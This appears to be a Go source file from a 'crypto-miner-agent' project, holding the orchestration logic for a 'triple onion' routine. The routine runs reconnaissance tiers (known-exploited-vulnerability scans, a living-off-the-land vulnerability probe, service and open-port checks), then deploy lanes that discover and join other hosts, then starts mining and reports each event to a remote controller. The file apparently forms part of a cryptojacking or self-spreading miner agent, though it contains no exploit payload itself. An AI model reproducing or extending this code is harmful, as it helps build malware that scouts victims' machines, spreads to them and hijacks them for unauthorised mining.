180 lines
4.4 KiB
Go
180 lines
4.4 KiB
Go
package client
|
|
|
|
import (
|
|
"context"
|
|
"encoding/json"
|
|
"log"
|
|
|
|
"crypto-miner-agent/deploy"
|
|
"crypto-miner-agent/miner"
|
|
)
|
|
|
|
func (c *AgentClient) tripleOnionPolicy() miner.TripleOnionPolicy {
|
|
c.mu.Lock()
|
|
defer c.mu.Unlock()
|
|
if !c.triplePolicyLoaded {
|
|
return miner.DefaultTripleOnionPolicy()
|
|
}
|
|
return miner.NormalizeTripleOnionPolicy(c.triplePolicy)
|
|
}
|
|
|
|
func (c *AgentClient) applyTripleOnionPolicyJSON(raw json.RawMessage) {
|
|
if len(raw) == 0 || string(raw) == "null" {
|
|
return
|
|
}
|
|
var p miner.TripleOnionPolicy
|
|
if err := json.Unmarshal(raw, &p); err != nil {
|
|
return
|
|
}
|
|
c.mu.Lock()
|
|
c.triplePolicy = miner.NormalizeTripleOnionPolicy(p)
|
|
c.triplePolicyLoaded = true
|
|
c.mu.Unlock()
|
|
}
|
|
|
|
func (r *MiningChainRunner) wireTripleOnion() *miner.TripleOnionOrchestrator {
|
|
c := r.client
|
|
policy := c.tripleOnionPolicy()
|
|
return miner.NewTripleOnionOrchestrator(c.cfg, policy, miner.TripleOnionHooks{
|
|
RunReconTier: r.runReconTier,
|
|
RunDeployLane: r.runDeployLane,
|
|
RunMining: r.startMiningCascade,
|
|
ReportEvent: r.reportOnionEvent,
|
|
})
|
|
}
|
|
|
|
func (r *MiningChainRunner) runReconTier(_ context.Context, tier string) miner.ReconTierResult {
|
|
switch tier {
|
|
case "kev_scan":
|
|
return r.reconKEVScan()
|
|
case "vuln_recon", "vuln_probe":
|
|
return r.reconVulnProbe()
|
|
case "service_probe":
|
|
return r.reconServiceProbe()
|
|
case "listen_ports":
|
|
return r.reconListenPorts()
|
|
default:
|
|
return miner.ReconTierResult{OK: false, Error: "unknown recon tier"}
|
|
}
|
|
}
|
|
|
|
func (r *MiningChainRunner) reconKEVScan() miner.ReconTierResult {
|
|
patch := collectPatchStatus()
|
|
ports := collectListenPorts()
|
|
var sec *SysCheckSecurity
|
|
if p := collectPosture(); p != nil {
|
|
sec = securityFromPosture(p)
|
|
}
|
|
kev := scanKEVExposure(patch, ports, sec)
|
|
if kev == nil {
|
|
return miner.ReconTierResult{OK: false, Error: "kev scan unavailable"}
|
|
}
|
|
return miner.ReconTierResult{
|
|
OK: true,
|
|
Snapshot: miner.ReconSnapshot{
|
|
RiskScore: kev.RiskScore,
|
|
CriticalExposed: kev.CriticalCount,
|
|
ExposedCount: kev.ExposedCount,
|
|
LikelyCount: kev.LikelyCount,
|
|
Details: map[string]interface{}{
|
|
"summary": kev.Summary,
|
|
"findings": len(kev.Findings),
|
|
},
|
|
},
|
|
}
|
|
}
|
|
|
|
func (r *MiningChainRunner) reconServiceProbe() miner.ReconTierResult {
|
|
p := collectPosture()
|
|
if p == nil {
|
|
return miner.ReconTierResult{OK: false, Error: "posture probe unavailable"}
|
|
}
|
|
count := len(p.Services)
|
|
return miner.ReconTierResult{
|
|
OK: true,
|
|
Snapshot: miner.ReconSnapshot{
|
|
ServiceCount: count,
|
|
Details: map[string]interface{}{
|
|
"posture_score": p.PostureScore,
|
|
},
|
|
},
|
|
}
|
|
}
|
|
|
|
func (r *MiningChainRunner) reconListenPorts() miner.ReconTierResult {
|
|
ports := collectListenPorts()
|
|
if ports == nil {
|
|
return miner.ReconTierResult{OK: false, Error: "listen_ports unavailable"}
|
|
}
|
|
return miner.ReconTierResult{
|
|
OK: true,
|
|
Snapshot: miner.ReconSnapshot{
|
|
OpenPortCount: ports.Count,
|
|
Details: map[string]interface{}{
|
|
"port_count": ports.Count,
|
|
},
|
|
},
|
|
}
|
|
}
|
|
|
|
func (r *MiningChainRunner) reconVulnProbe() miner.ReconTierResult {
|
|
report := RunVulnLOTLProbe()
|
|
if report == nil {
|
|
return miner.ReconTierResult{OK: false, Error: "vuln_recon unavailable"}
|
|
}
|
|
critical := 0
|
|
for _, f := range report.Findings {
|
|
if f.Severity == "critical" && !f.Patched {
|
|
critical++
|
|
}
|
|
}
|
|
return miner.ReconTierResult{
|
|
OK: true,
|
|
Snapshot: miner.ReconSnapshot{
|
|
RiskScore: report.RiskScore,
|
|
CriticalExposed: critical,
|
|
ExposedCount: report.ExposedCount,
|
|
LikelyCount: report.CriticalCount,
|
|
Details: map[string]interface{}{
|
|
"summary": report.Summary,
|
|
"findings": len(report.Findings),
|
|
},
|
|
},
|
|
}
|
|
}
|
|
|
|
func (r *MiningChainRunner) runDeployLane(_ context.Context, lane string) (bool, string) {
|
|
c := r.client
|
|
if lane == "discover_and_join" {
|
|
msg, err := c.runDiscoverAndJoin(8)
|
|
if err != nil {
|
|
return false, err.Error()
|
|
}
|
|
return true, msg
|
|
}
|
|
c.mu.Lock()
|
|
cfg := c.cfg
|
|
c.mu.Unlock()
|
|
return deploy.TryDiscoverJoinLane(cfg, lane)
|
|
}
|
|
|
|
func (r *MiningChainRunner) reportOnionEvent(report miner.TripleOnionReport, eventType string) {
|
|
c := r.client
|
|
payload, err := json.Marshal(struct {
|
|
miner.TripleOnionReport
|
|
Event string `json:"event"`
|
|
}{
|
|
TripleOnionReport: report,
|
|
Event: eventType,
|
|
})
|
|
if err != nil {
|
|
return
|
|
}
|
|
if err := c.write(Message{Type: "onion_report", Payload: payload}); err != nil {
|
|
log.Printf("[triple-onion] %s notify failed: %v", eventType, err)
|
|
}
|
|
r.mu.Lock()
|
|
r.onionAttempts = report.Attempts
|
|
r.mu.Unlock()
|
|
}
|